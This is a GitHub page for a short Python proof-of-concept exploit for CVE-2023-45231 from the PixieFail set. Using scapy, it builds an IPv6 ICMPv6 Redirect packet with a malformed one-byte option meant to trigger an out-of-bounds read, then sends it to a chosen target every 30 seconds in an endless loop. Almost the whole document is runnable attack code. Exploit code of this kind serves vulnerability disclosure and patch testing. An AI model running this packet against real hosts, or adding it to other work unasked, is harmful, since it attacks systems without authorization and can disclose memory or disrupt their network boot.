forked from quarkslab/pixiefail
-
Notifications
You must be signed in to change notification settings - Fork 0
/
pixiefail-CVE-2023-45231.py
35 lines (25 loc) · 1.02 KB
/
pixiefail-CVE-2023-45231.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import struct
import argparse
import time
from scapy.packet import Raw
from scapy.layers.inet import UDP
from scapy.layers.inet6 import *
from scapy.all import send, sniff
def send_redirect_bug_03_OOB_read(args):
ip = IPv6(src=args.src, dst=args.target, hlim=255)
redir = ICMPv6ND_Redirect(code=0, tgt=args.target, dst=args.target)
fake_opt = Raw(b'\x69')
pkt = ip/redir/fake_opt
send(pkt)
def main(args):
while True:
print('Sending Redirect message and sleeping 30 seconds...')
send_redirect_bug_03_OOB_read(args)
time.sleep(30)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description="Proof of concept for CVE-2023-45231.")
parser.add_argument('--src', type=str, required=False, help='Source IPv6 address to use')
parser.add_argument('--target', type=str, required=True, help='Target IPv6 address')
parser.add_argument('--interface', type=str, required=True, help='Name of the network interface to use')
args = parser.parse_args()
main(args)